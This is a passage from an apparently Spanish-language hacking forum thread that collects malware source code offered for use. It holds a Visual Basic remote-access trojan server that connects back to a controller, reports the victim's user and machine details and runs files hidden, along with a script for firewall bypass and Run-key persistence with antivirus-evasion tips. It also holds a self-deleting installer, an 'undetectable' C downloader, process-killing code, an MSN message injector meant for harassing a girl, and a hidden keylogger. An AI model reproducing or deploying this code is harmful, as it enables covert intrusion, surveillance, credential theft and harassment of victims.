frmArchivos.lvArchivos.ListItems.Clear
frmArchivos.lvCarpetas.ListItems.Clear

rutapartida = Split(ruta, "?")
Unidad = rutapartida(0)
Carpetas = rutapartida(1)
Archivos = rutapartida(2)

frmArchivos.txtUnidad = rutapartida(0)


carpeta = Split(Carpetas, "<")

For n = 0 To UBound(carpeta)
    With frmArchivos.lvCarpetas.ListItems.Add(, , carpeta(n))
    End With
Next n


archivo = Split(Archivos, "<")

For a = 0 To UBound(archivo)
    With frmArchivos.lvArchivos.ListItems.Add(, , archivo(a))
    End With
Next a

End Function


          Hasta Aqui Llega el Code del cliente de The_Antrax


Jeje bueno aqui les dejo unas imagenes, de como deberia quedar esa "cosa" o programa!

            Tomas del Programa:


                    FrmPrincipal y FrmArchivo

Ahora comenzamos con el Server

              Necesitamos:

1 Form (Llamado Frm)
4 Modulos *.bas(Llamado el 1 fun_FileManager - 2 fun_Varias - 3 ModuloInfo - 4 RegEdit)

                         1 Form


necesitamos:

1 FileListBox (Llamado File1)
1 DirListBox (Llamado Dir1)
2 Timer's (Al timer 1 le ponen de intevar 1750 y para el timer 2 le ponen interval 1 y la opcion enabled False)
1 Winsock (Llamado ws, localport 0)

Comenzemos!

                               Form



Código:
Public ip As String
Public port As Long


Private Sub Form_Load()
ip = "127.0.0.1"
port = 3573

Call RutaWindows
Call Nombre_Server

File1.Hidden = True
File1.System = True

End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim vData As Variant
ws.GetData data
vData = Split(data, "|")

Select Case vData(0)

Case "cambiarnombre"
    Open Ruta_Windows & "\WinName.txt" For Output As #1
    Print #1, vData(1)
    Close #1
    Server_Name = vData(1)

Case "actualizar"
    Dim ruta As String
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta

Case "ruta"
    On Local Error GoTo Error
    Dir1.Path = vData(1)
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta
    Exit Sub
Error:
    ws.SendData "error carpeta"

Case "ejecutar"
    Dim ArchEjecutar As String
    ArchEjecutar = Dir1.Path & "\" & vData(1)
    Select Case vData(2)
    Case "normal"
        ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 1
    Case "oculto"
        ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, SW_HIDE
    Case "maximizado"
        ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 3
    Case "minimizado"
        ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 2
End Select

End Select

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then
ws.Close
ws.Connect ip, port
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then
ws.SendData "Conexion|" & Server_Name & "|" & ws.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion
Timer2.Enabled = False
End If
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub


                             Codigo De Modulos


Modulo fun_FileManager


Código:
Public Function Rutas() As String

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

Unidad = frm.Dir1.Path


Dim ca As Integer
ca = frm.Dir1.ListCount - 1
Carpetas = ""

While frm.Dir1.List(ca) <> frm.Dir1.Path
Carpetas = Carpetas & "<" & frm.Dir1.List(ca)
ca = ca - 1
Wend

Dim ar As Integer
ar = frm.File1.ListCount - 1
Archivos = ""

While frm.File1.List(ar) <> ""
Archivos = Archivos & "<" & frm.File1.List(ar)
ar = ar - 1
Wend

Carpetas = Mid(Carpetas, 2)
Archivos = Mid(Archivos, 2)

Rutas = Unidad & "?" & Carpetas & "?" & Archivos

End Function



Modulo fun_Varias


Código:
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Server_Name

Public Ruta_Windows As String
Public Ruta_System32 As String

Sub Nombre_Server()
If Dir(Ruta_Windows & "\WinName.txt") <> "" Then
    Open Ruta_Windows & "\WinName.txt" For Binary As #1
        Dim Nombre As String
        Nombre = Space(LOF(1))
        Get #1, , Nombre
        nombre2 = Split(Nombre, vbCrLf)
        Server_Name = nombre2(0)
    Close #1
Else
    Open Ruta_Windows & "\WinName.txt" For Binary As #1
        Put #1, , "Nuevo"
    Close #1
    Server_Name = "Nuevo"
End If
End Sub

Sub RutaWindows()
    Dim Car As String * 128
    Dim Longitud, Es As Integer
    Dim Camino As String
   
    Longitud = 128
   
    Es = GetWindowsDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    Ruta_Windows = Camino
   
    Es = GetSystemDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    Ruta_System32 = Camino
End Sub


Modulo ModuloInfo


Código:
Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Function winversion() As String
Dim osvi As OSVERSIONINFO
osvi.dwOSVersionInfoSize = Len(osvi)
GetVersionEx osvi
If osvi.dwPlatformId = 1 Then
If osvi.dwMinorVersion = 0 Then winversion = "Windows 95"
If osvi.dwMinorVersion = 10 Then winversion = "Wiondows 98"
ElseIf osvi.dwPlatformId = 2 Then
If osvi.dwMinorVersion = 0 Then
winversion = "Windows 2000"
Else
winversion = "Windows XP"
End If
End If
End Function

Public Function Usuario_Windows() As String
On Error Resume Next
Dim sBuffer As String
Dim lSize As Long
Dim sUsuario As String

sBuffer = Space$(260)
lSize = Len(sBuffer)
Call GetUserName(sBuffer, lSize)
If lSize > 0 Then
sUsuario = Left$(sBuffer, lSize)
lSize = InStr(sUsuario, Chr$(0))
If lSize Then
sUsuario = Left$(sUsuario, lSize - 1)
End If
Else
sUsuario = ""
End If
Usuario_Windows = sUsuario
End Function

Public Function PC_Name() As String
PC_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner")
End Function


Modulo RegEdit


Código:
Option Explicit

Public Carpetas_Registro As String
Public Keys_Registro As String
Public READ_Valor_Key As String
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Global Const REG_SZ = 1
Global Const REG_BINARY = 3
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_CONFIG = &H80000005
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_DYN_DATA = &H80000006
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003
Global Const ERROR_SUCCESS = 0&
Global Const KEY_ENUMERATE_SUB_KEYS = &H8
Global Const KEY_QUERY_VALUE = &H1
Public Declare Sub CopyMemory32 Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Public Sub Reg_Crea_KeyConValor(hKey As Long, carpeta As String, Nombre_Key As String, contenido_key As String)
Dim res
RegOpenKey hKey, carpeta, res
RegSetValueEx res, Nombre_Key, 0, REG_SZ, ByVal contenido_key, Len(contenido_key)
RegCloseKey res
End Sub

Public Sub Reg_Borra_Key(hKey As Long, strPath As String, strValue As String)
Dim ret
RegOpenKey hKey, strPath, ret
RegDeleteValue ret, strValue
RegCloseKey ret
End Sub

Public Sub Reg_Abre_Carpeta(hKey As Long, nombre_folderkey As String)
Dim res
RegOpenKeyEx HKEY_CURRENT_USER, nombre_folderkey, 0, 0, res
End Sub
Public Sub Reg_Cierra_carpeta()
Dim res
RegCloseKey HKEY_CURRENT_USER
End Sub

Public Sub Reg_Lee_Keys(hKey As Long, ruta As String)

Dim valuename As String
    Dim valuelen As Long
    Dim datatype As Long
    Dim data(0 To 254) As Byte
    Dim datalen As Long
    Dim datastring As String

    Dim Index As Long
    Dim c As Long
    Dim retval As Long
    READ_Valor_Key = ""
    retval = RegOpenKeyEx(hKey, ruta, 0, KEY_QUERY_VALUE, hKey)
    If retval <> 0 Then
       
        'End
    End If
   
    Index = 0
    While retval = 0

        valuename = Space(255)
        valuelen = 255
        datalen = 255

        retval = RegEnumValue(hKey, Index, valuename, valuelen, 0, datatype, data(0), datalen)
        If retval = 0 Then
            valuename = Left(valuename, valuelen)
           
            READ_Valor_Key = READ_Valor_Key & "Key: " & valuename & vbCrLf
            Select Case datatype
            Case REG_SZ
                datastring = Space(datalen - 1)
                CopyMemory32 ByVal datastring, data(0), datalen - 1
               
               
                READ_Valor_Key = READ_Valor_Key & "      Valor: " & datastring & vbCrLf
            Case REG_BINARY
                Dim ttStr As String
                ttStr = ""
               
                For c = 0 To datalen - 1
                    datastring = Hex(data(c))
                    If Len(datastring) < 2 Then datastring = _
                        String(2 - Len(datastring), "0") & datastring
                   
                    ttStr = ttStr & datastring & " "
                Next c
               
            READ_Valor_Key = READ_Valor_Key & "      Valor: " & ttStr & vbCrLf
            Case Else
               
            End Select
        End If
        Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Lee_carpetas(hKey As Long, carpeta As String)
Dim keyname As String
Dim keylen As Long
Dim ClassName As String
Dim classlen As Long
Dim lastwrite As FILETIME
Carpetas_Registro = ""
Dim Index As Long
Dim retval As Long
retval = RegOpenKeyEx(hKey, carpeta, 0, KEY_ENUMERATE_SUB_KEYS, hKey)
    If retval <> 0 Then
    End If
    Index = 0
    While retval = 0
      keyname = Space(255): ClassName = Space(255)
      keylen = 255: classlen = 255
      retval = RegEnumKeyEx(hKey, Index, keyname, keylen, ByVal 0, ClassName, classlen, lastwrite)
      If retval = 0 Then
        keyname = Left(keyname, keylen)
        ClassName = Left(ClassName, classlen)
        If carpeta = "" Then
            Carpetas_Registro = Carpetas_Registro & keyname & vbCrLf
        Else
            Carpetas_Registro = Carpetas_Registro & carpeta & "\" & keyname & vbCrLf
        End If
       End If
      Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Leer_ValorKey(hKey As Long, Carpeta_Key As String, Nombre_Key As String)
Dim cadena As String
cadena = String(255, Chr(0))
Dim res As Long
RegOpenKey hKey, Carpeta_Key, res
RegQueryValueEx res, Nombre_Key, 0, REG_SZ, ByVal cadena, Len(cadena)


RegCloseKey res
End Sub

Public Sub Reg_Borra_Carpeta(hKey As String, del_carpeta As String)
RegDeleteKey hKey, del_carpeta
End Sub

Public Sub Reg_Crear_carpeta(hKey As Long, Crear_carpeta As String)
Dim res As Long
RegCreateKey hKey, Crear_carpeta, res

RegCloseKey res
End Sub

Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String)
    Dim lResult As Long
    Dim lValueType As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
   
    lResult = RegQueryValueEx(hKey, strValueName, 0&, lValueType, ByVal 0&, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        If lValueType = REG_SZ Then
            strBuf = String(lDataBufSize, " ")
            lResult = RegQueryValueEx(hKey, strValueName, 0&, 0&, ByVal strBuf, lDataBufSize)
            If lResult = ERROR_SUCCESS Then
                intZeroPos = InStr(strBuf, Chr$(0))
                If intZeroPos > 0 Then
                   RegQueryStringValue = Left$(strBuf, intZeroPos - 1)
                Else
                   RegQueryStringValue = strBuf
                End If
            End If
        End If
    End If
End Function

Public Function GetStringKey(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String) As String
    Dim keyhand&
    Dim datatype&
    Dim r
   
    r = RegOpenKey(hKey, strPath, key

[SOADER (ANYD00M)]

Los siguientes aportes pertenecen al usuario: NorK

Si os sirve de algo aquí os dejo un tutorial que hice  para hacer una aplicación multicliente.

Hola, bueno voy ha explicar un poco como hacer una aplicacion multiconexion ( que acepta varias conexiones). Primero de todo necesitaremos añadir al projecto 2 controles winsock. Lo que haremos sera poner uno a la escucha y cuando este reciva una ConnectionRequest, es decir cuando intenten conectar con nosotros, el winsock repartira las conexiones hacia el winsock 2... Pero que pasa si el winsock 2 esta ocupado? Nada ya que crearemos un array de este control e iremos creando winsock2(x) cada vez que lo necesitemos. Vamos a comenzar.

Aplicación Multiconexión

---> Añadimos los controles Winsock...



Como vemos en la imagen el winsock numero 1 siempre estara a la escucha de peticiones, cuando reciva una le pasara la conexion a uno de los winsock2 con array. Los winsock2 no estan a la esucha por lo tanto esperan hasta que winsock1 les pase una conexion. Como winsock1 hace esta tarea??? uuhmm


Código:
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    Dim socketCreado As Integer 'Definimos una variable integer
   
    socketCreado = CrearSocket 'Llamamos a la funcion CrearSocket MUY IMPORTANTE!
   
    Winsock2(numSocket).Accept requestID 'Aceptamos la peticion con el socket creado
End Sub

Bien con este codigo winsock1 repartira las conexiones entre el array de winsock2, bueno en realidad no faltaria la funcion CrearSocket:

Código:
Private Function CrearSocket() As Integer

    Dim Sockets As Integer 'Variable que cojera el numero de sockets
    Dim x As Integer 'Contara los sockets que ai
   
    Sockets = Winsock2.UBound 'Nos vamos hasta el final de los winsock para ver los que tenemos
   
    For x = 0 To Sockets ' Recorremos todos los winsocks

        If Winsock2(i).State = sckClosed Then 'Comprovamos los sockets inactivos
            CrearSocket =x 'Si winsock2 esta inactivo lo utilizamos
            Exit Function 'Salimos de la funcion
        End If
    Next
   
    Load Winsock2(Socket + 1) 'En el caso que no tengamos sockets inactivos, crea un socket
   
    CrearSocket = Winsock2.UBound 'Pasamos el numero de sockets actuales a CrearSocket
End Function

Bien esta quiza es la parte mas importante, ya que se encarga de mirar por los sockets inactivos o bien los crea para poder pasarles la nueva conexion entrante.

Creando un ejemplo

Ahora crearemos un ejemplo para que quede mas claro lo explicado.
Creamos un projecto y añadimos los siguientes controles:



 Anotacion Bueno, recordar de crear el array, para quien no sepa como hacerlo (una de las maneras):

 -> Boton Derecho sobre el control
 -> Copiar
 -> Pegar en el mismo formulario
 -> Saldra un aviso para crearlo, aceptais.

Bien ahora ya tenemos el formulario creado, pasemos al codigo...


Código:
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long) ' Es el codigo de antes
    Dim socketCreado as integer


   socketCreado = CrearSocket
   Winsock2(socketCreado).Accept requestID

   Text1.text = Text1.text & vbNewline & "Petición Aceptada Socket num " & socketCreado & " interactuando"
End sub

Bien aqui lo unico que hacemos es informar a partir del text1 que recivimos una peticion y que esta a sido atendida por uno de los sockets.

Nuestro Winsock1 solamente ara esto, estar a la escucha para distribuir las conexiones entrantes entre el array de winsocks, por lo tanto en el command1 ponemos:


Código:
Private Sub Command1_Click()
    Winsock1.Close ' Cerramos el winsock para no dar problemas
    Winsock1.LocalPort = text3.text 'El puerto a esuchar es el que introduzcamos en text3.text
    Winsock1.Listen ' dejamos a la esucha el winsock
End Sub

Bien con este ejemplo unicamente recivimos peticiones y las mostramos por text1.text para que se vea como funciona la cosa... el ejemplo de por si no es funcional 100% pero si vale para que lo entendais.



Bueno espero que guste y que lo entendais XD!

Espero que os sirva 

Los siguinetes aportes pertenecen al usuario: [P3ll3]

Firewall Bypass y agregar al registro

--> Se hace con un VBScript

Set hek = CreateObject("WScript.Shell")

hek.regwrite
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\S
haredAccess\Parameters\FirewallPolicy\StandardProfile\Authorized
Applications\List\Actualicacion”, Chr(34) & Camino & "\CMDLG.exe"
& Chr(34) & "=" & Chr(34) & Camino & "\CMDLG.exe" &
":*:Enabled:Programa del Sistema " & Chr(34)
hek.regwrite "
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Run ", Chr(34) & Camino & "\CMDLG.exe" & Chr(34)


Bien, vamos a explicarlo todo, lo del Camino es la ruta del sistema,
la saque de este modo (en el form_load):

Longitud = 128
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))

Y en las declaraciónes de arriba del todo declaramos esto:

Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Dim root As String

Bueno, así ya quedaríamos instalados en el registro y nos
saltaríamos al FW, el código del Firewall y del registro lo he puesto
encriptado y dentro de un timer con intervalo a 1 porque el NOD
saltaba igual, al finalizar la instalación en el registro tenemos que
pensar a parar el timer de esta forma:

Timer1.Enabled = False

También cree un sub para verificar si estaba “instalado” en la
carpeta del sistema, y si no lo estaba nos copiábamos y
“reiniciábamos el programa”.

Aquí les dejo el código de este sub:

Sub existe()
On Error GoTo Fallo
x = GetAttr(Camino & "\CMDLG.exe")
Exit Sub
Fallo:
t1.Enabled = True
FileCopy App.Path & "\" & App.EXEName & ".exe", Camino &
"\CMDLG.exe"
Shell “cmd.exe /c ping 127.0.0.1 -n 1 > nul & del “& App.Path & "\" &
App.EXEName & ".exe && Start " & Camino & "\CMDLG.exe",
vbHide

End

End Sub


Espero que les sirva, esta bastante claro y para encriptar las rutas podemos utilizar la informacion que nos dieron antes...

Fuente: Hendrix


Saludos....................................

Los siguientes aportes fueron realizados por el usuario: Dark confundido

estos codigos fueron sacados de
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion hay mucho codigo para aprender y todo es sobre virus y troyanos XD lastima ke sea una pagina en GRINGO

codigo de un downloader indetectable XD

int DescargarArchivo(char *URL,char *dir, char *archivo_salida, int oculto)
{
 HINTERNET InetHandle;
 HINTERNET UrlHandle;
 HANDLE FileHandle;
 unsigned long ReadNext=1;
 unsigned long BytesWritten=0;
 char DownloadBuffer[1024];
 char *temp;

 temp=calloc(sizeof(char),MAX_PATH);
 strcpy(temp,dir);
 strcat(temp,archivo_salida);

 if(oculto==TRUE)
  oculto=FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
 else
  oculto=FILE_ATTRIBUTE_NORMAL;

 InetHandle = InternetOpen(temp, 0, 0, 0, 0);

 if(InetHandle != 0)
 {
  UrlHandle = InternetOpenUrl(InetHandle, URL, 0, 0, 0, 0);
  FileHandle = CreateFile(temp, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, oculto, 0);
  if(FileHandle != INVALID_HANDLE_VALUE)
  {
   while(ReadNext != 0)
   {
    InternetReadFile(UrlHandle, DownloadBuffer, sizeof(DownloadBuffer), &ReadNext);
    WriteFile(FileHandle, DownloadBuffer, ReadNext, &BytesWritten, 0);
   }
   CloseHandle(FileHandle);
   CloseHandle(UrlHandle);
   CloseHandle(InetHandle);
  }
 }
 free(temp);
 temp=NULL;
 return FALSE;
}

int DescargarArchivo(char *URL,char *dir, char *archivo_salida, int oculto)

URL= direccion de internet donde esta el archivo a descargar 
dir= directorio donde se guardara el archivo descargado
archivo_salida= nombre ke tendra el archivo en el directorio donde se guarara XD
oculto= archivo ocultoo vidible 

--------------------------------------------------------------------------------------------------------
cambia texto de las ventanas

void CambiarTextoVentanas(char *texto)
{
 HWND currentwin;
 currentwin = GetForegroundWindow();
 SetWindowText(currentwin,texto);
}

le cambia el texto a las ventanas XD

--------------------------------------------------------------------------------------------------------

char *Message;

int WINAPI EMMSN(HWND hwnd,LPARAM lparam)
{
 char text[128],cname[128];
 HWND child;
 int x;
 if(!GetClassName(hwnd,cname,sizeof cname))
  return 0;
 if(!strcmp(cname,"IMWindowClass"))
 {
  child=FindWindowExA(hwnd,0,"DirectUIHWND",0);
  SetForegroundWindow(hwnd);
  for(x=0;x<strlen(Message);x++)
   PostMessageA(child,WM_CHAR,Message
,0);
  PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
  PostMessage(child, WM_KEYUP, VK_RETURN, 0);
  PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
  PostMessage(child, WM_KEYUP, VK_RETURN, 0);
  Sleep(200);
 }
}

void EnviarMensajeMSN(char *mensaje)
{
 Message=calloc(MAX_PATH,sizeof(char));
 strcpy(Message,mensaje);
 EnumWindows(EMMSN,0);
 free(Message);
 Message=NULL;
}

void EnviarMensajeMSN(char *mensaje)

esto envia un mensaje a las conversaciones abiertas del MSN util para molestar y hacer kedar a una chica ke odies como una chica facil de esta forma
"soy una chica ke solo busca chicos lindos y con plata :$"

--------------------------------------------------------------------------------------------------------
funcion ke te dice si un proceso se esta ejecutando retorna 1 si se esta ejecutando y 0 si no 

int ProcesoEnMemoria(const char *proc)
{
 HANDLE laris;
 PROCESSENTRY32 process;
 int ID;
 process.dwSize = sizeof(PROCESSENTRY32);
 void* photo = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 Process32First(photo, &process);
 while(photo != NULL)
 {
  Process32Next(photo, &process);
  laris = OpenProcess(PROCESS_TERMINATE, FALSE, process.th32ProcessID);
  if(!stricmp(process.szExeFile, proc))
  {
   ID=process.th32ProcessID;
   break;
  }
  if(GetLastError() == ERROR_NO_MORE_FILES)
  {
   ID=-1;
   break;
  }
  CloseHandle(laris);
 }
 CloseHandle(laris);
 return ID;
}

funcion para matar procesos (esta es indetectable XD)

void MatarProceso(const char *kill_proc)
{
 int id;
 HANDLE laris;
 id=ProcesoEnMemoria(kill_proc);
 if(id!=-1)
 {
  laris=OpenProcess(PROCESS_TERMINATE,FALSE,id);
  TerminateProcess(laris, 0);
  CloseHandle(laris);
 }
}

ya saben solo tienen ke pasarlas al lenguaje ke usaran XD

Los siguinetes aportes fueron hechos por el usuario: Cr4Sill

¡Hola! aqui os dejo un mini tutorial que tenia hace muucho y espero que os sirva para hacer la funcion keylogger con visual basic

Código:
en el Form1 estas Seran las Propiedades
Name = frmMain
Visible = False
BorderStyle = None

Ahora Inserta un Modulo llamado: Funciones

y Insertas esto en el Modulo:

Option Explicit
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal nKey As Long) As Integer
Public Function CapturarTecla(KCode As Integer, KText As String) As Boolean
Dim Result%
Result = GetAsyncKeyState(KCode)
If Result = -32767 Then
frmMain.TextoCapturado.Text = "" & frmMain.TextoCapturado.Text & KText
CapturarTecla = True
Else
CapturarTecla = False
End If
End Function
Public Function eBloqMayus() As Boolean
eBloqMayus = CBool(GetKeyState(vbKeyCapital) And 1)
End Function
Public Function eShift() As Boolean
eShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function

Ahora Inserta 2 Timers y de Interval Ponles 1 y en Enabled ponles True, Tambien Inserta un TextBox llamado TextoCapturado

Ahora Empieza el Codigo:

Private Sub Form_Load()
App.TaskVisible = False
If App.PrevInstance = True Then
End
End If
End Sub

Private Sub Timer1_Timer()
If CapturarTecla(8, "[Atrás]") Then Exit Sub
If CapturarTecla(9, "[Tab]") Then Exit Sub
If CapturarTecla(13, "[Enter]") Then Exit Sub
If CapturarTecla(17, "[Ctrl]") Then Exit Sub
If CapturarTecla(18, "[Alt]") Then Exit Sub
If CapturarTecla(19, "[Pausa]") Then Exit Sub
If CapturarTecla(27, "[Esc]") Then Exit Sub
If CapturarTecla(32, " ") Then Exit Sub
If CapturarTecla(33, "[Re Pág]") Then Exit Sub
If CapturarTecla(34, "[Av Pág]") Then Exit Sub
If CapturarTecla(35, "[Fin]") Then Exit Sub
If CapturarTecla(36, "[Inicio]") Then Exit Sub
If CapturarTecla(37, "[Izquierda]") Then Exit Sub
If CapturarTecla(38, "[Arriba]") Then Exit Sub
If CapturarTecla(39, "[Derecha]") Then Exit Sub
If CapturarTecla(40, "[Abajo]") Then Exit Sub
If CapturarTecla(44, "[Impr Pant]") Then Exit Sub
If CapturarTecla(45, "[Insert]") Then Exit Sub
If CapturarTecla(46, "[Supr]") Then Exit Sub
If CapturarTecla(91, "[Win]") Then Exit Sub
If CapturarTecla(92, "[Win]") Then Exit Sub
If CapturarTecla(93, "[Menú]") Then Exit Sub
If CapturarTecla(144, "[Bloq Num]") Then Exit Sub
If CapturarTecla(145, "[Bloq Despl]") Then Exit Sub
If eShift = True Then
If CapturarTecla(188, ";") Then Exit Sub
If CapturarTecla(189, "_") Then Exit Sub
If CapturarTecla(190, ":") Then Exit Sub
If CapturarTecla(192, "Ñ") Then Exit Sub
If CapturarTecla(186, "^") Then Exit Sub
If CapturarTecla(222, "¨") Then Exit Sub
If CapturarTecla(226, ">") Then Exit Sub
If CapturarTecla(220, "ª") Then Exit Sub
If CapturarTecla(219, "?") Then Exit Sub
If CapturarTecla(221, "¿") Then Exit Sub
If CapturarTecla(191, "Ç") Then Exit Sub
If CapturarTecla(187, "*") Then Exit Sub
Else
If CapturarTecla(188, ",") Then Exit Sub
If CapturarTecla(189, "-") Then Exit Sub
If CapturarTecla(190, ".") Then Exit Sub
If CapturarTecla(192, "ñ") Then Exit Sub
If CapturarTecla(186, "`") Then Exit Sub
If CapturarTecla(222, "´") Then Exit Sub
If CapturarTecla(226, "<") Then Exit Sub
If CapturarTecla(220, "º") Then Exit Sub
If CapturarTecla(219, "'") Then Exit Sub
If CapturarTecla(221, "¡") Then Exit Sub
If CapturarTecla(191, "ç") Then Exit Sub
If CapturarTecla(187, "+") Then Exit Sub
End If
If eShift = True Then
If CapturarTecla(48, "=") Then Exit Sub
If CapturarTecla(49, "!") Then Exit Sub
If CapturarTecla(50, Chr(34)) Then Exit Sub
If CapturarTecla(51, "·") Then Exit Sub
If CapturarTecla(52, "$") Then Exit Sub
If CapturarTecla(53, "%") Then Exit Sub
If CapturarTecla(54, "&") Then Exit Sub
If CapturarTecla(55, "/") Then Exit Sub
If CapturarTecla(56, "(") Then Exit Sub
If CapturarTecla(57, ")") Then Exit Sub
Else
If CapturarTecla(48, "0") Then Exit Sub
If CapturarTecla(49, "1") Then Exit Sub
If CapturarTecla(50, "2") Then Exit Sub
If CapturarTecla(51, "3") Then Exit Sub
If CapturarTecla(52, "4") Then Exit Sub
If CapturarTecla(53, "5") Then Exit Sub
If CapturarTecla(54, "6") Then Exit Sub
If CapturarTecla(55, "7") Then Exit Sub
If CapturarTecla(56, "8") Then Exit Sub
If CapturarTecla(57, "9") Then Exit Sub
End If
If CapturarTecla(111, "[/]") Then Exit Sub
If CapturarTecla(109, "[-]") Then Exit Sub
If CapturarTecla(110, "[.]") Then Exit Sub
If CapturarTecla(107, "

• ") Then Exit Sub

If CapturarTecla(106, "

• ") Then Exit Sub

If CapturarTecla(96, "0") Then Exit Sub
If CapturarTecla(97, "1") Then Exit Sub
If CapturarTecla(98, "2") Then Exit Sub
If CapturarTecla(99, "3") Then Exit Sub
If CapturarTecla(100, "4") Then Exit Sub
If CapturarTecla(101, "5") Then Exit Sub
If CapturarTecla(102, "6") Then Exit Sub
If CapturarTecla(103, "7") Then Exit Sub
If CapturarTecla(104, "8") Then Exit Sub
If CapturarTecla(105, "9") Then Exit Sub
If Len(TextoCapturado.Text) > 2000 Then
Open App.Path & "\" For Append As #1
Print #1, TextoCapturado.Text
Close #1
TextoCapturado.Text = ""
End If
End Sub

Private Sub Timer2_Timer()
Dim x As Integer
For x = 65 To 90
If eBloqMayus = True Or eShift = True Then
If CapturarTecla(x, UCase(Chr(x))) Then Exit Sub
Else
If CapturarTecla(x, LCase(Chr(x))) Then Exit Sub
End If
Next x
Dim y As Integer
For y = 112 To 127
If CapturarTecla(y, "[F" & CStr(y - 111) & "]") Then Exit Sub
Next y
End Sub
